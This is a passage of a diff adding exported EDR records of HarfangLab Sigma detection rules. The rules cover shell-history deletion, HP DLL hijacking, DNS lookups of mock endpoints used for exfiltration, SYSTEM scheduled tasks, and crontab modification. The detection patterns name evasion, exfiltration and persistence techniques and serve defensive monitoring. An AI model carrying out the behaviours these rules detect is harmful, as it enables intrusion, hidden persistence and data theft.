+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1070/003/"
+  ],
+  "name": "t1070_003_shell_history_removed_linux.yml",
+  "content": "title: Shell History File Removed\nid: 4f8964a4-5740-479c-8358-30799f2df2d6\ndescription: |\n    Detects an attempt to remove any of the common shell history files.\n    Attackers can try to remove the history file to hide their tracks.\n    It is recommended to investigate the process performing the deletion to look for malicious content or actions as well as to look for other suspicious behavior in this user session.\nreferences:\n    - https://attack.mitre.org/techniques/T1070/003/\ndate: 2022/11/15\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.003\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.Deletion\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection_path:\n        Path|startswith:\n          - '/home/'\n          - '/root/'\n        Path|endswith:\n          - '/.history'\n          - '/.ash_history'\n          - '/.bash_history'\n          - '/.tcsh_history'\n          - '/.sh_history'\n          - '/.zsh_history'\n          - '/fish_history'\n\n    selection_kind:\n        Kind:\n            - 'remove'\n            - 'rename'  # In case the file is moved to the thrash bin\n\n    exclusion_docker:\n        ProcessImage:\n            - '/usr/local/bin/dockerd'\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/snap/docker/*/bin/dockerd'\n\n    exclusion_podman:\n        ProcessImage: '/usr/bin/podman'\n\n    exclusion_plesk:\n        ProcessCommandLine|startswith: '/usr/bin/python -Estt /usr/local/psa/bin/yum_install ' # Plesk'\n\n    exclusion_delete_user:\n        - ProcessImage:\n            - '/usr/sbin/luserdel'\n            - '/usr/sbin/userdel'\n        - ProcessCommandLine: '/usr/bin/perl /usr/sbin/deluser *'\n\n    exclusion_gvfs:\n        ProcessImage: '/usr/libexec/gvfsd-trash'\n\n    exclusion_rsync:\n        ProcessImage: '/usr/bin/rsync'\n\n    exclusion_ksh:\n        ProcessImage: '/usr/bin/ksh93'\n        ProcessCommandLine: '-ksh'\n        ProcessParentImage:\n            - '/usr/bin/su'\n            - '/usr/sbin/sshd'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4f8964a4-5740-479c-8358-30799f2df2d6",
+  "rule_name": "Shell History File Removed",
+  "rule_description": "Detects an attempt to remove any of the common shell history files.\nAttackers can try to remove the history file to hide their tracks.\nIt is recommended to investigate the process performing the deletion to look for malicious content or actions as well as to look for other suspicious behavior in this user session.\n",
+  "rule_creation_date": "2022-11-15",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4fc22311-870c-4261-885e-2d7e461df964",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096119Z",
+  "creation_date": "2026-03-23T11:45:34.096122Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096128Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims",
+    "https://www.contextis.com/en/blog/dll-search-order-hijacking",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_hp_imaging.yml",
+  "content": "title: DLL Hijacking via HP Imaging Software\nid: 4fc22311-870c-4261-885e-2d7e461df964\ndescription: |\n    Detects potential Windows DLL Hijacking via HP Imaging Software.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims\n    - https://www.contextis.com/en/blog/dll-search-order-hijacking\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/10/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'EWSProxy.Exe'\n        ProcessSignature: 'Hewlett Packard'\n        ImageLoaded|endswith: '\\ScanImageui.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\HP\\Digital Imaging\\bin\\'\n            - '?:\\Program Files (x86)\\HP\\Digital Imaging\\bin\\'\n            - '?:\\Program Files\\HP\\HP Scan Extended\\bin\\'\n            - '?:\\Program Files (x86)\\HP\\HP Scan Extended\\bin\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\HP\\Digital Imaging\\bin\\'\n            - '?:\\Program Files (x86)\\HP\\Digital Imaging\\bin\\'\n            - '?:\\Program Files\\HP\\HP Scan Extended\\bin\\'\n            - '?:\\Program Files (x86)\\HP\\HP Scan Extended\\bin\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Hewlett Packard'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4fc22311-870c-4261-885e-2d7e461df964",
+  "rule_name": "DLL Hijacking via HP Imaging Software",
+  "rule_description": "Detects potential Windows DLL Hijacking via HP Imaging Software.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-10-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4fd851cb-ec8d-4cc6-ae02-1405584f3b23",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625346Z",
+  "creation_date": "2026-03-23T11:45:34.625348Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625353Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://medium.com/@simone.kraus/critical-engergy-infrastructure-facility-in-ukraine-attack-b15638f6a402",
+    "https://www.zscaler.com/blogs/security-research/steal-it-campaign",
+    "https://attack.mitre.org/techniques/T1567/",
+    "https://attack.mitre.org/techniques/T1105/"
+  ],
+  "name": "t1567_mock_endpoint_dns_request.yml",
+  "content": "title: DNS Resolution of a Mock Endpoint\nid: 4fd851cb-ec8d-4cc6-ae02-1405584f3b23\ndescription: |\n    Detects a DNS resolution request of a mock endpoint service such as Mockbin.\n    Mock endpoint services allow developers to simulate API responses.\n    Attackers can use them to exfiltrate stolen data stealthily, or to host and deliver malicious payloads to infected hosts.\n    It is recommended to investigate the process performing this action to determine its legitimacy.\nreferences:\n    - https://medium.com/@simone.kraus/critical-engergy-infrastructure-facility-in-ukraine-attack-b15638f6a402\n    - https://www.zscaler.com/blogs/security-research/steal-it-campaign\n    - https://attack.mitre.org/techniques/T1567/\n    - https://attack.mitre.org/techniques/T1105/\ndate: 2023/09/07\nmodified: 2025/12/19\nauthor: HarfangLab\ntags:\n    - attack.exfiltration\n    - attack.t1567\n    - attack.command_and_control\n    - attack.t1105\n    - classification.Windows.Source.DnsQuery\n    - classification.Windows.Behavior.Exfiltration\n    - classification.Windows.Behavior.FileDownload\nlogsource:\n    product: windows\n    category: dns_query\ndetection:\n    selection:\n        QueryName:\n            - 'mockbin.org'\n            - 'run.mocky.io'\n\n    filter_browser:\n        ProcessOriginalFileName:\n            - 'firefox.exe'\n            - 'chrome.exe'\n            - 'brave.exe'\n            - 'msedge.exe'\n            - 'librewolf.exe'\n            - 'opera.exe'\n            - 'vivaldi.exe'\n            - 'iexplore.exe'\n            - 'msedgewebview2.exe'\n            - 'zen.exe'\n\n    # https://newtonpaul.com/svchost-analysis-and-internet-sharing-triage/\n    exclusion_sharedaccess:\n        ProcessCommandLine: '?:\\windows\\System32\\svchost.exe -k netsvcs -p -s SharedAccess'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n\n    exclusion_defender:\n        ProcessOriginalFileName:\n            - 'MsMpEng.exe'\n            - 'MsSense.exe'\n            - 'NisSrv.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n\n    exclusion_mcafee:\n        ProcessImage: '?:\\Program Files\\McAfee\\Endpoint Security\\Adaptive Threat Protection\\mfeatp.exe'\n\n    exclusion_cybereason:\n        ProcessImage: '?:\\Program Files\\Cybereason ActiveProbe\\minionhost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Cybereason Inc'\n            - 'Cybereason Inc.'\n            - 'Cybereason, Inc'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4fd851cb-ec8d-4cc6-ae02-1405584f3b23",
+  "rule_name": "DNS Resolution of a Mock Endpoint",
+  "rule_description": "Detects a DNS resolution request of a mock endpoint service such as Mockbin.\nMock endpoint services allow developers to simulate API responses.\nAttackers can use them to exfiltrate stolen data stealthily, or to host and deliver malicious payloads to infected hosts.\nIt is recommended to investigate the process performing this action to determine its legitimacy.\n",
+  "rule_creation_date": "2023-09-07",
+  "rule_modified_date": "2025-12-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1567"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5043ae9d-7660-4103-8092-bd964e56e775",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092199Z",
+  "creation_date": "2026-03-23T11:45:34.092201Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092205Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1053/005/"
+  ],
+  "name": "t1053_005_system_scheduled_task.yml",
+  "content": "title: System Scheduled Task Created\nid: 5043ae9d-7660-4103-8092-bd964e56e775\ndescription: |\n    Detects the creation of a Scheduled Task that is set to run by the SYSTEM user.\n    The Task Scheduler Service in Windows is used to create and execute Scheduled Tasks, which can be used to launch programs, send emails or calling COM objects according to different triggers.\n    Scheduled Tasks can be used by attackers to set up persistence, having a Scheduled Task run as system could potentially indicate persistence and give an attacker the highest privileges on the local machine.\n    It is recommended to determine whether this is part of a persistence mechanism or normal endpoint/software behavior.\nreferences:\n    - https://attack.mitre.org/techniques/T1053/005/\ndate: 2021/10/11\nmodified: 2025/08/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.005\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_1:\n        - Image|endswith: '\\schtasks.exe'\n        - OriginalFileName: 'schtasks.exe'\n    selection_2:\n        - CommandLine|contains: '/create '\n    # We can't simply match against \"SYSTEM\" as it might be part of a path (C:\\Windows\\System32\\)\n    # so we ensure it's either at the very end of the command line, or it is followed by a white space.\n    selection_3:\n        - CommandLine|endswith: '/ru*SYSTEM'\n        - CommandLine|contains: '/ru*SYSTEM '\n\n    exclusion_programfiles:\n        CommandLine|contains:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_teamviewer:\n    # C:\\WINDOWS\\system32\\schtasks /Create /TN TVInstallRestore /TR \"C:\\Users\\xxxxxx\\AppData\\Local\\Temp\\TeamViewer\\update.exe /RESTORE\" /RU SYSTEM /SC ONLOGON /F\n    # C:\\WINDOWS\\system32\\schtasks /Create /TN TVInstallRestore /TR \"C:\\Program Files (x86)\\TeamViewer\\Update\\update.exe /RESTORE\" /RU SYSTEM /SC ONLOGON /F\n        CommandLine|contains|all:\n            - '/Create /TN TVInstallRestore /TR'\n            - '/RU SYSTEM /SC ONLOGON /F'\n\n    exclusion_wapt:\n        CommandLine|contains:\n            - ' waptservice'\n            - 'fullwaptupgrade'\n        ParentImage|endswith: '\\cmd.exe'\n        # c:\\Program Files (x86)\\wapt\\waptpython.exe / E:\\wapt\\waptpython.exe\n        GrandparentImage|endswith:\n            - '\\wapt\\waptpython.exe'\n            - '\\wapt\\wapt-get.exe'\n\n    exclusion_wapt_2:\n        # schtasks /Create /SC ONCE /TN waptservicerestart /TR 'cmd.exe' /C net stop waptservice & net start waptservice /ST 08:07:31 /RU SYSTEM /F /V1 /Z\n        CommandLine: 'schtasks /Create /SC ONCE /TN waptservicerestart /TR ?cmd.exe? /C net stop waptservice & net start waptservice *'\n\n    exclusion_avira:\n        CommandLine|contains:\n            - ' AviraSystemSpeedupUpdate'\n            - ' /TN Avira_Security_Update /TR '\n        ParentImage|endswith:\n            - '\\avira_speedup_setup_update.tmp'\n            - '\\avira_spotlight_setup.tmp'\n        GrandparentImage:\n            - '?:\\ProgramData\\Avira\\SystemSpeedup\\Update\\avira_speedup_setup_update.exe'\n            - '?:\\ProgramData\\Avira\\Security\\Temp\\avira_spotlight_setup.exe'\n            # C:\\ProgramData\\Avira\\Security\\Update\\297fd79d-191e-4587-9348-4803c4e32b32\\avira_spotlight_setup.exe\n            - '?:\\ProgramData\\Avira\\Security\\Update\\\\*\\avira_spotlight_setup.exe'\n\n    exclusion_symantec:\n        CommandLine|contains|all:\n            - 'Symantec CleanWipe'\n            - '\\CleanWipe.exe'\n        ParentImage|endswith: '\\CleanWipe\\CleanWipe.exe'\n        GrandparentImage: '?:\\Windows\\explorer.exe'\n\n    exclusion_mplnet:\n        ParentImage: '?:\\MPLNET\\Inventory.exe'\n\n    exclusion_bigfixenterprise:\n        GrandparentImage: '?:\\Program Files (x86)\\BigFix Enterprise\\BES Client\\BESClient.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nfalsepositives:\n    - Legitimate use of a SYSTEM scheduled task by the system administrator or services\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5043ae9d-7660-4103-8092-bd964e56e775",
+  "rule_name": "System Scheduled Task Created",
+  "rule_description": "Detects the creation of a Scheduled Task that is set to run by the SYSTEM user.\nThe Task Scheduler Service in Windows is used to create and execute Scheduled Tasks, which can be used to launch programs, send emails or calling COM objects according to different triggers.\nScheduled Tasks can be used by attackers to set up persistence, having a Scheduled Task run as system could potentially indicate persistence and give an attacker the highest privileges on the local machine.\nIt is recommended to determine whether this is part of a persistence mechanism or normal endpoint/software behavior.\n",
+  "rule_creation_date": "2021-10-11",
+  "rule_modified_date": "2025-08-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5046eefb-f36f-4d3a-a86e-0e7c3ddfcccc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.705674Z",
+  "creation_date": "2026-03-23T11:45:34.612147Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.612154Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.003/T1053.003.md",
+    "https://attack.mitre.org/techniques/T1053/003/"
+  ],
+  "name": "t1053_003_etc_crontab_modified_linux.yml",
+  "content": "title: Crontab-Related Files Modified\nid: 5046eefb-f36f-4d3a-a86e-0e7c3ddfcccc\ndescription: |\n    Detects a suspicious attempt to modify \"/etc/crontab\" or other crontab-related files.\n    These files contain scheduled tasks, usually run with root privileges, to help maintain the system.\n    An attacker could use this files to add a malicious cron jobs for persistence.\n    It is recommended to check the modified crontab file for malicious content as well as to look for other suspicious actions related to the process responsible for this modification.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.003/T1053.003.md\n    - https://attack.mitre.org/techniques/T1053/003/\ndate: 2023/01/03\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.003\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.SystemModification\n    - classification.Linux.Behavior.Persistence\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        - Path:\n            - '/etc/crontab'\n            - '/etc/cron.*/*'\n            - '/var/spool/cron/crontabs/*'\n        - TargetPath:\n            - '/etc/crontab'\n            - '/etc/cron.*/*'\n            - '/var/spool/cron/crontabs/*'\n\n    filter_read_access:\n        Kind: 'access'\n        Permissions: 'read'\n\n    # Package Managers\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n    exclusion_debconf:\n        - ProcessCommandLine|contains: '/usr/bin/debconf'\n        - ProcessParentCommandLine|contains: '/usr/bin/debconf'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/debconf'\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessGrandparentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n            - '/usr/bin/python -Estt /usr/local/psa/bin/yum_install ' # Plesk'\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n    exclusion_dnf:\n        - ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n        - ProcessParentCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n    exclusion_apk:\n        ProcessImage:\n            - '/sbin/apk'\n            - '/usr/sbin/apk'\n\n    exclusion_cron:\n        - ProcessImage|endswith: '/cron'\n        - ProcessParentImage|endswith: '/cron'\n\n    exclusion_crontab:\n        - ProcessCommandLine: '/bin/bash /etc/cron.daily/system-crontab'\n        - ProcessImage|endswith: '/crontab'\n        - ProcessParentImage|endswith: '/crontab'\n\n    exclusion_common:\n        ProcessImage:\n            - '/bin/chmod'\n            - '/usr/bin/chmod'\n            - '/usr/bin/chown'\n            - '/usr/bin/chgrp'\n            - '/usr/bin/tar'\n\n    exclusion_esmith:\n        ProcessCommandLine|contains: '/e-smith/'\n\n    exclusion_docker:\n        - ProcessImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/local/bin/dockerd'\n            - '/usr/local/bin/docker-init'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/bin/containerd'\n            - '/usr/local/bin/containerd'\n            - '/var/lib/rancher/k3s/data/*/bin/containerd'\n            - '/var/lib/rancher/rke2/data/*/bin/containerd'\n            - '/snap/docker/*/bin/dockerd'\n            - '/snap/microk8s/*/bin/containerd'\n            - '/usr/bin/dockerd-ce'\n        - ProcessAncestors|contains: '/usr/bin/containerd-shim-runc-v2'\n\n    exclusion_rootlesskit:\n        # /home/<redacted>/bin/rootlesskit --state-dir=/run/user/1022/dockerd-rootless --net=slirp4netns --mtu=65520 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run --propagation=rslave /home/<redacted>/bin/dockerd-rootless.sh\n        - ProcessImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n        - ProcessParentImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n\n    exclusion_podman:\n        ProcessImage: '/usr/bin/podman'\n\n    exclusion_bacula:\n        ProcessImage:\n            - '/usr/sbin/bacula-fd'\n            - '/opt/bacula/bin/bacula-fd'\n\n    exclusion_puppet:\n        - ProcessImage: '/opt/puppetlabs/puppet/bin/ruby'\n        - ProcessParentImage: '/opt/puppetlabs/puppet/bin/ruby'\n        - ProcessGrandparentImage: '/opt/puppetlabs/puppet/bin/ruby'\n\n    exclusion_quest_amptools:\n        # /opt/quest/kace/bin/AMPTools\n        # /data/quest/kace/bin/AMPTools\n        - ProcessParentImage|endswith: '/quest/kace/bin/AMPTools'\n        - ProcessGrandparentImage|endswith: '/quest/kace/bin/AMPTools'\n\n    exclusion_quest_ampctl:\n        ProcessParentCommandLine|startswith: '/bin/sh /etc/init.d/ampctl '\n\n    exclusion_quest_koneacheckercrontab:\n        ProcessCommandLine|contains:\n            - '/etc/cron.d/koneacheckercrontab'\n            - '/opt/quest/kace/bin/koneacheckercrontab'\n\n    exclusion_eset:\n        - ProcessImage|startswith: '/opt/eset/'\n        - ProcessParentImage|startswith: '/opt/eset/'\n        - ProcessParentCommandLine|startswith: '/bin/sh /opt/eset/efs/lib/'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            